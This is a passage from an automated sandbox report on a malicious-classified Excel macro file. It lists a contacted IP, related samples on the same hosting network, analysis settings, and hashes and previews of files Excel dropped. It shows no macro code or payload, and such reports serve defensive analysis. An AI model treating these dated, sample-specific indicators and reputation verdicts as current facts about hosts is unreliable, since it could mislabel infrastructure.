                                                                                                                                                  https://visio.uservoice.com/forums/368202-visio-on-devicesE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                                    high
                                                                                                                                                    https://directory.services.E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    unknown

                                                                                                                                                    Contacted IPs

                                                                                                                                                    • No. of IPs < 25%
                                                                                                                                                    • 25% < No. of IPs < 50%
                                                                                                                                                    • 50% < No. of IPs < 75%
                                                                                                                                                    • 75% < No. of IPs

                                                                                                                                                    Public

                                                                                                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                    188.225.73.5
                                                                                                                                                    unknownRussian Federation
                                                                                                                                                    9123TIMEWEB-ASRUfalse

                                                                                                                                                    General Information

                                                                                                                                                    Joe Sandbox Version:31.0.0 Emerald
                                                                                                                                                    Analysis ID:344651
                                                                                                                                                    Start date:26.01.2021
                                                                                                                                                    Start time:21:09:49
                                                                                                                                                    Joe Sandbox Product:CloudBasic
                                                                                                                                                    Overall analysis duration:0h 4m 25s
                                                                                                                                                    Hypervisor based Inspection enabled:false
                                                                                                                                                    Report type:full
                                                                                                                                                    Sample file name:Calculation-1972568702-01262021.xlsm
                                                                                                                                                    Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                    Run name:Potential for more IOCs and behavior
                                                                                                                                                    Number of analysed new started processes analysed:21
                                                                                                                                                    Number of new started drivers analysed:0
                                                                                                                                                    Number of existing processes analysed:0
                                                                                                                                                    Number of existing drivers analysed:0
                                                                                                                                                    Number of injected processes analysed:0
                                                                                                                                                    Technologies:
                                                                                                                                                    • HCA enabled
                                                                                                                                                    • EGA enabled
                                                                                                                                                    • HDC enabled
                                                                                                                                                    • AMSI enabled
                                                                                                                                                    Analysis Mode:default
                                                                                                                                                    Analysis stop reason:Timeout
                                                                                                                                                    Detection:MAL
                                                                                                                                                    Classification:mal72.expl.evad.winXLSM@3/11@1/1
                                                                                                                                                    EGA Information:Failed
                                                                                                                                                    HDC Information:Failed
                                                                                                                                                    HCA Information:
                                                                                                                                                    • Successful, ratio: 100%
                                                                                                                                                    • Number of executed functions: 0
                                                                                                                                                    • Number of non-executed functions: 0
                                                                                                                                                    Cookbook Comments:
                                                                                                                                                    • Adjust boot time
                                                                                                                                                    • Enable AMSI
                                                                                                                                                    • Found application associated with file extension: .xlsm
                                                                                                                                                    • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                    • Attach to Office via COM
                                                                                                                                                    • Scroll down
                                                                                                                                                    • Close Viewer
                                                                                                                                                    Warnings:
                                                                                                                                                    Show All
                                                                                                                                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                                                                                                                                                    • Excluded IPs from analysis (whitelisted): 40.88.32.150, 52.255.188.83, 13.88.21.125, 104.42.151.234, 168.61.161.212, 52.109.76.68, 52.109.12.22, 52.109.8.24, 92.122.253.206, 51.104.139.180, 20.54.26.129, 51.103.5.159, 51.104.146.109, 2.23.155.185, 2.23.155.227, 51.11.168.160
                                                                                                                                                    • Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, arc.msn.com.nsatc.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wns.notify.windows.com.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, vip1-par02p.wns.notify.trafficmanager.net, skypedataprdcoleus15.cloudapp.net, emea1.notify.windows.com.akadns.net, nexus.officeapps.live.com, officeclient.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, client.wns.windows.com, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, par02p.wns.notify.trafficmanager.net, skypedataprdcolwus15.cloudapp.net, skypedataprdcolwus16.cloudapp.net, europe.configsvc1.live.com.akadns.net

                                                                                                                                                    Simulations

                                                                                                                                                    Behavior and APIs

                                                                                                                                                    No simulations

                                                                                                                                                    Joe Sandbox View / Context

                                                                                                                                                    IPs

                                                                                                                                                    No context

                                                                                                                                                    Domains

                                                                                                                                                    No context

                                                                                                                                                    ASN

                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                    TIMEWEB-ASRUDW019203084PO020192003928.pdf.exeGet hashmaliciousBrowse
                                                                                                                                                    • 185.200.243.169
                                                                                                                                                    tnD89iJ2Vx.exeGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.86.168
                                                                                                                                                    rib.exeGet hashmaliciousBrowse
                                                                                                                                                    • 92.53.96.119
                                                                                                                                                    7TwZx5dbbZ.exeGet hashmaliciousBrowse
                                                                                                                                                    • 185.114.245.109
                                                                                                                                                    gunzipped.exeGet hashmaliciousBrowse
                                                                                                                                                    • 92.53.96.251
                                                                                                                                                    sample.exeGet hashmaliciousBrowse
                                                                                                                                                    • 92.53.114.107
                                                                                                                                                    reader_ca_install.exeGet hashmaliciousBrowse
                                                                                                                                                    • 89.223.121.124
                                                                                                                                                    document-1444032431.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1444032431.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1421190491.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1421190491.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1473929595.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1473929595.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1484980114.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1493705687.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1484980114.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1493705687.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1495480491.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1495480491.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87
                                                                                                                                                    document-1466663902.xlsGet hashmaliciousBrowse
                                                                                                                                                    • 188.225.24.87

                                                                                                                                                    JA3 Fingerprints

                                                                                                                                                    No context

                                                                                                                                                    Dropped Files

                                                                                                                                                    No context

                                                                                                                                                    Created / dropped Files

                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\E7E79C12-1EE9-4759-8A01-580DF683B6A5
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):132942
                                                                                                                                                    Entropy (8bit):5.37290466263196
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:1536:4cQceNgaBtA3gZw+pQ9DQW+zAUH34ZldpKWXboOilXPErLL8Eh:erQ9DQW+zBX8P
                                                                                                                                                    MD5:A739138743910BCC46AB48BE0E457949
                                                                                                                                                    SHA1:0250642716B54645E08B153E3BDC340BB4B0661B
                                                                                                                                                    SHA-256:71C635F0F62EF39995D5FDE6C5CD9F5CA140DE5583892CAB5A2BC0F53E1EE009
                                                                                                                                                    SHA-512:F5280915BE83A9D1BED2860906F4500EBE0F3B1EF15F307631B589D6735D9ABE6E7509BF31533C12B483F59E4A05A453D6E95C22552B1F37D339D93F93F9450A
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:low
                                                                                                                                                    Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-01-26T20:10:46">.. Build: 16.0.13723.30525-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\2409CBB.png
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):557
                                                                                                                                                    Entropy (8bit):7.343009301479381
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd
                                                                                                                                                    MD5:A516B6CB784827C6BDE58BC9D341C1BD
                                                                                                                                                    SHA1:9D602E7248E06FF639E6437A0A16EA7A4F9E6C73
                                                                                                                                                    SHA-256:EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074
                                                                                                                                                    SHA-512:C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:moderate, very likely benign file
                                                                                                                                                    Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8Oc.......l.9a._.X....@.`ddbc.]...........O..m7.r0|..."......?A.......w..;.N1u........_.[.\Y...BK=...F +.t.M~..oX..%....211o.q.P.".......y...../..l.r...4..Q]..h.....LL.d.......d....w.>{.e..k.7.9y.%.. .YpI...{.+Kv......./..\[...A....^.5c..O?.......G...VB..4HWY...9NU...?..S..$..1..6.U.....c... ....7..J. "M..5. ............_.......d.V.W.c.....Y.A..S....~.C.....q........t?..."n.....4......G_......Q..x..W.!L.a...3....MR.|.-P#P;..p._.......jUG....X........IEND.B`.
                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\29FD7780.png
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):848
                                                                                                                                                    Entropy (8bit):7.595467031611744
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc
                                                                                                                                                    MD5:02DB1068B56D3FD907241C2F3240F849
                                                                                                                                                    SHA1:58EC338C879DDBDF02265CBEFA9A2FB08C569D20
                                                                                                                                                    SHA-256:D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F
                                                                                                                                                    SHA-512:9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:moderate, very likely benign file
                                                                                                                                                    Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8O.T]H.Q..;3...?..fk.lR..R$.R.Pb.Q...B..OA..T$.hAD...J../..-h...fj..+....;s.vg.Zsw.=...{.w.s.w.@.....;..s...O........;.y.p........,...s1@ Ir.:... .>.LLa..b?h...l.6..U....1....r.....T..O.d.KSA...7.YS..a.(F@....xe.^.I..$h....PpJ...k%.....9..QQ....h..!H*................./....2..J2..HG....A....Q&...k...d..&..Xa.t..E....E..f2.d(..v.~.P.+.pik+;...xEU.g....._xfw...+...(..pQ.(..(.U./..)..@..?..........f.'...lx+@F...+....)..k.A2...r~B,....TZ..y..9...`..0....q....yY....Q.......A.....8j[.O9..t..&...g. I@ ..;..X!...9S.J5..'.xh...8I.~.+...mf.m.W.i..{...+>P...Rh...+..br^$. q.^.......(..._.j...$..Ar...MZm|...9..E..!U[S.fDx7<....Wd.......p..C......^MyI:...c.^..SI.mGj,.......!...h..$..;...........yD./..a...-j.^:.}..v....RQY*.^......IEND.B`.
                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A0588B22.png
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:PNG image data, 205 x 58, 8-bit/color RGB, non-interlaced
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):8301
                                                                                                                                                    Entropy (8bit):7.970711494690041
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:192:BzNWXTPmjktA8BddiGGwjNHOQRud4JTTOFPY4:B8aoVT0QNuzWKPh
                                                                                                                                                    MD5:D8574C9CC4123EF67C8B600850BE52EE
                                                                                                                                                    SHA1:5547AC473B3523BA2410E04B75E37B1944EE0CCC
                                                                                                                                                    SHA-256:ADD8156BAA01E6A9DE10132E57A2E4659B1A8027A8850B8937E57D56A4FC204B
                                                                                                                                                    SHA-512:20D29AF016ED2115C210F4F21C65195F026AAEA14AA16E36FD705482CC31CD26AB78C4C7A344FD11D4E673742E458C2A104A392B28187F2ECCE988B0612DBACF
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:moderate, very likely benign file
                                                                                                                                                    Preview: .PNG........IHDR.......:......IJ.....sRGB.........pHYs..........+.... .IDATx^..\....}.\6"Sp...g..9Ks..r..=r.U....Y..l.S.2...Q.'C............h}x........... ......\..N...z....._.|......III.666...~~~..6l.Q.J...\..m..g.h.SRR.\.p....'N...EEE...X9......c.&M...].n.g4..E..g...w...{..]..;w..I...y.m\...~..;.].3{~..qV.k..._....?..w/$GlI|..2. m,,,.-[.....sr.V1..g...on...........dl.'...'''[[[.R.......(..^...F.PT.Xq..Mnnn.3..M..g.......6.....pP"#F..P/S.L...W.^..o.r.....5H......111t....|9..3...`J..>...{..t~/F.b..h.P..]z..)......o..4n.F..e...0!!!......#""h.K..K.....g.......^..w.!.$.&...7n.].F.\\\.A....6lxjj.K/........g.....3g......f....:t..s..5.C4..+W.y...88..?.,Y. .^...8{.@VN.6....Kbch.=zt...7+T....v.z....P........VVV..."t.N......$..Jag.v.U...P[(_.I?.9.4i.G.$U..D......W.r...........!>|..#G...3..x.b......P....H!.Vj......u.2..*;..Z..c..._Ga....&L.......`.1.[.n].7..W_m..#8k...)U..L.....G..q.F.e>..s.......q....J....(.N.V...k..>m....=.).
                                                                                                                                                    C:\Users\user\AppData\Local\Temp\20C10000
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:data
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):26179
                                                                                                                                                    Entropy (8bit):7.5577686469619065
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:384:p8xezujszRIU1xts4/Wt48aoVT0QNuzWKPqGn8PJo1:OwajsNB144YnW+u7qk8PJo1
                                                                                                                                                    MD5:845F0004E10B77A739A8116D922E4819
                                                                                                                                                    SHA1:8FACB1765B8B604DDD8E8DC0A14EB09AC2D02316
                                                                                                                                                    SHA-256:ED2C7DAA66F1F82A53573D391E361CF9B62C55C0F1C86947AE7EF581F61571BD
                                                                                                                                                    SHA-512:3FED2A2FB2E92FF258600AE8DDE74626ACC875DBB4FF3391E5A3B1A40EE3D04C744C448C3BCD0F400BD1B545EDC434F83625C85F211794A2E0133BF642A2625B
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:low
                                                                                                                                                    Preview: .U.n.0....?..........C....I?`L.%...a...;.....+........pz.r.z.D&.V\4.Q.WA.....m.MT..k..c+.H.j....q..*...>..]JR=:.&D.<...A.....j......T.g....C.?p.O6W7+..(../...w.....5.2...^.!..ba...C7.....1;..d.1=`.l.....}.......Hh.8.......Po"}..a(3..........R...i../!-.!,.. %LG5...fH.q.R..0..s`....LC%..v........W...#:.....y.S}....d7.vC9\OO|..1Nym...v.:..CB..y#wg..7.....H...s....*...x..w.........w......R]G.......c...c,.F..[....7.......PK..........!.................[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Calculation-1972568702-01262021.LNK
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 13:47:06 2020, mtime=Wed Jan 27 04:10:49 2021, atime=Wed Jan 27 04:10:49 2021, length=26179, window=hide
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):2340
                                                                                                                                                    Entropy (8bit):4.687983439248156
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:48:8GFOS+YyybKotXB6pGFOS+YyybKotXB6:839otXK39otX
                                                                                                                                                    MD5:03701DA6281E01F8517A905D7163947F
                                                                                                                                                    SHA1:E9C8AEE2B9E768764D11F676EE896497897A9BB5
                                                                                                                                                    SHA-256:8F7EE93497DE90361F3B6B6D73DF6615A68B23BC46F05FBB5ACB3AA68E194E96
                                                                                                                                                    SHA-512:76BE2DB5A5D7EFF92FC4DAD9BC9C5AD6E6913D670252E7FFF8689D468D9067AC4D39A3F7FBD7870DED3CD78C0FFAE186244EAAE55EB351D7125CD6584D67744A
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:low
                                                                                                                                                    Preview: L..................F.... .......8....P..j......j...Cf...........................P.O. .:i.....+00.../C:\...................x.1......Ng...Users.d......L..;RM)....................:......B..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....T.1.....>Q.u..user..>.......NM.;RM).....S....................4...a.l.f.o.n.s.....~.1.....>Q.u..Desktop.h.......NM.;RM).....Y..............>.....D...D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2..g..;RT) .CALCUL~1.XLS..z......>Q.u;RT)....f.....................z.7.C.a.l.c.u.l.a.t.i.o.n.-.1.9.7.2.5.6.8.7.0.2.-.0.1.2.6.2.0.2.1...x.l.s.m.......k...............-.......j...........>.S......C:\Users\user\Desktop\Calculation-1972568702-01262021.xlsm..;.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.C.a.l.c.u.l.a.t.i.o.n.-.1.9.7.2.5.6.8.7.0.2.-.0.1.2.6.2.0.2.1...x.l.s.m.........:..,.LB.)...Aw...`.......X.......305090...........!a..%.H.VZAj....Yt.+........W...!a..%.H.VZAj....Yt.+........W..............1SPS.XF.L8C....&.m.q...........
                                                                                                                                                    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 17:34:24 2019, mtime=Wed Jan 27 04:10:49 2021, atime=Wed Jan 27 04:10:49 2021, length=12288, window=hide
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):909
                                                                                                                                                    Entropy (8bit):4.692986190239037
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:12:8mCJRUHgc6CHiEL+2eGXafuDgoi+W+jA0/y1bDyZTLkeGLkeM4t2Y+xIBjKZm:8mgUS2PugjA0KJDyj7aB6m
                                                                                                                                                    MD5:95B4AC5FB50F067C3A4C950B871BA313
                                                                                                                                                    SHA1:BE4FAEB37AE049E88A04169E3960FF28E36C1DD2
                                                                                                                                                    SHA-256:BF522239C1A2F4B8F7EE2681CE98A252C3E31FD66C291261611FEC00F67D2719
                                                                                                                                                    SHA-512:DC22E17FFFFC51EBFD20EB9AA7A28EDE3275DD6636237AA6E1C30635F55F6527E143A97039B39884A67E86259E5C9B593AA59C3EF1ECFBA58610D3914CC80290
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:low
                                                                                                                                                    Preview: L..................F............-..Q...j....)..j....0......................y....P.O. .:i.....+00.../C:\...................x.1......Ng...Users.d......L..;RM)....................:......B..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....T.1.....>Q.u..user..>.......NM.;RM).....S....................4...a.l.f.o.n.s.....~.1.....;RY)..Desktop.h.......NM.;RY).....Y..............>.....m...D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......F...............-.......E...........>.S......C:\Users\user\Desktop........\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Aw...`.......X.......305090...........!a..%.H.VZAj...q.I..........W...!a..%.H.VZAj...q.I..........W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............
                                                                                                                                                    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):148
                                                                                                                                                    Entropy (8bit):4.761410671188077
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:3:oyBVomxWtMK/ykGdSbXYp6l+gHK/ykGdSbXYp6lmxWtMK/ykGdSbXYp6lv:djeMAytdSUUTHAytdSUUzMAytdSUU1
                                                                                                                                                    MD5:428EF8D935140E96B13978A13435377B
                                                                                                                                                    SHA1:02D884024638F381329087191CFEC9AD94141EA0
                                                                                                                                                    SHA-256:57BA116F84F5AA5B5FF4FFFEE3AD043DCE67952C0CD1FA91C0A604250340365C
                                                                                                                                                    SHA-512:FDBF751A1BA37914E274917704E1DEA9369103AA084F81F09B8B6014C8062B964D8555FC88D4698729939BB7D29071A7FC3ED47E1D6E6C33542A4DD936E0A920
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:low
                                                                                                                                                    Preview: Desktop.LNK=0..[misc]..Calculation-1972568702-01262021.LNK=0..Calculation-1972568702-01262021.LNK=0..[misc]..Calculation-1972568702-01262021.LNK=0..
                                                                                                                                                    C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:Little-endian UTF-16 Unicode text, with CR line terminators
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):22
                                                                                                                                                    Entropy (8bit):2.9808259362290785
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:3:QAlX0Gn:QKn
                                                                                                                                                    MD5:7962B839183642D3CDC2F9CEBDBF85CE
                                                                                                                                                    SHA1:2BE8F6F309962ED367866F6E70668508BC814C2D
                                                                                                                                                    SHA-256:5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4C4AC4A6514F6
                                                                                                                                                    SHA-512:2C332AC29FD3FAB66DBD918D60F9BE78B589B090282ED3DBEA02C4426F6627E4AAFC4C13FBCA09EC4925EAC3ED4F8662FDF1D7FA5C9BE714F8A7B993BECB3342
                                                                                                                                                    Malicious:false
                                                                                                                                                    Reputation:high, very likely benign file
                                                                                                                                                    Preview: ....p.r.a.t.e.s.h.....
                                                                                                                                                    C:\Users\user\Desktop\E0C10000
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:data
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):26179
                                                                                                                                                    Entropy (8bit):7.557882422024821
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:384:p8xezujszRIU1xts4/Wt48aoVT0QNuzWKPqGn8cJo7:OwajsNB144YnW+u7qk8cJo7
                                                                                                                                                    MD5:24625C0BC6E57167FB9E1EDCBB4DC972
                                                                                                                                                    SHA1:4A1CA4F71A6C0A6A16679B80E86001C37D654733
                                                                                                                                                    SHA-256:AB0AFE990E293FBBADCEF35107652C7519C2258B9EA9EBB0D27431EA143591B2
                                                                                                                                                    SHA-512:FFCB1B79583A3AE0573DB8E2F9357FD16BC58A870BBF553B610BDF487D9249FA3B42B976F857BEFC19AA1277E5C01C7E27BA3813D53428FC324626D7F35B54D1
                                                                                                                                                    Malicious:false
                                                                                                                                                    Preview: .U.n.0....?..........C....I?`L.%...a...;.....+........pz.r.z.D&.V\4.Q.WA.....m.MT..k..c+.H.j....q..*...>..]JR=:.&D.<...A.....j......T.g....C.?p.O6W7+..(../...w.....5.2...^.!..ba...C7.....1;..d.1=`.l.....}.......Hh.8.......Po"}..a(3..........R...i../!-.!,.. %LG5...fH.q.R..0..s`....LC%..v........W...#:.....y.S}....d7.vC9\OO|..1Nym...v.:..CB..y#wg..7.....H...s....*...x..w.........w......R]G.......c...c,.F..[....7.......PK..........!.................[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                    C:\Users\user\Desktop\~$Calculation-1972568702-01262021.xlsm
                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    File Type:data
                                                                                                                                                    Category:dropped
                                                                                                                                                    Size (bytes):330
                                                                                                                                                    Entropy (8bit):1.6081032063576088
                                                                                                                                                    Encrypted:false
                                                                                                                                                    SSDEEP:3:RFXI6dtBhFXI6dtt:RJZhJ1
                                                                                                                                                    MD5:836727206447D2C6B98C973E058460C9
                                                                                                                                                    SHA1:D83351CF6DE78FEDE0142DE5434F9217C4F285D2
                                                                                                                                                    SHA-256:D9BECB14EECC877F0FA39B6B6F856365CADF730B64E7FA2163965D181CC5EB41
                                                                                                                                                    SHA-512:7F843EDD7DC6230BF0E05BF988D25AE6188F8B22808F2C990A1E8039C0CECC25D1D101E0FDD952722FEAD538F7C7C14EEF9FD7F4B31036C3E7F79DE570CD0607
                                                                                                                                                    Malicious:true
                                                                                                                                                    Preview: .pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                                                                                                                                                    Static File Info

                                                                                                                                                    General

                                                                                                                                                    File type:Microsoft Excel 2007+
                                                                                                                                                    Entropy (8bit):7.5624677136859715
                                                                                                                                                    TrID:
                                                                                                                                                    • Excel Microsoft Office Open XML Format document (40004/1) 83.33%
                                                                                                                                                    • ZIP compressed archive (8000/1) 16.67%
                                                                                                                                                    File name:Calculation-1972568702-01262021.xlsm
                                                                                                                                                    File size:26370
                                                                                                                                                    MD5:0104ed5f70a92ad434657225558532b7
                                                                                                                                                    SHA1:d0207be667b2f90289448078f922f0c6201cd25e
                                                                                                                                                    SHA256:fcc1bb0b8b6cbe484900163503f774dfad2074649247717b5c8993c560b69a0d
                                                                                                                                                    SHA512:ad0615908536b572e029c4543eee3689bc56ebd850d52b852eff4745e9b48d768f890c2a30da242e5861ff317ced33ae88e235aece3020d741f84ff70eed54bf
                                                                                                                                                    SSDEEP:384:ASfowL2aGcarN6IftXs5SV8m2ylTQ8aoVT0QNuzWKP8WxAJkh0lfusU5:ASfl6aGcEHy5S6f6TfW+u7DqJkhoWsU5
                                                                                                                                                    File Content Preview:PK..........!.................[Content_Types].xml ...(.........................................................................................................................................................................................................

                                                                                                                                                    File Icon

                                                                                                                                                    Icon Hash:74ecd0e2f696908c

                                                                                                                                                    Static OLE Info

                                                                                                                                                    General

                                                                                                                                                    Document Type:OpenXML
                                                                                                                                                    Number of OLE Files:1

                                                                                                                                                    OLE File "Calculation-1972568702-01262021.xlsm"

                                                                                                                                                    Indicators

                                                                                                                                                    Has Summary Info:
                                                                                                                                                    Application Name:
                                                                                                                                                    Encrypted Document:
                                                                                                                                                    Contains Word Document Stream:
                                                                                                                                                    Contains Workbook/Book Stream:
                                                                                                                                                    Contains PowerPoint Document Stream:
                                                                                                                                                    Contains Visio Document Stream:
                                                                                                                                                    Contains ObjectPool Stream:
                                                                                                                                                    Flash Objects Count:
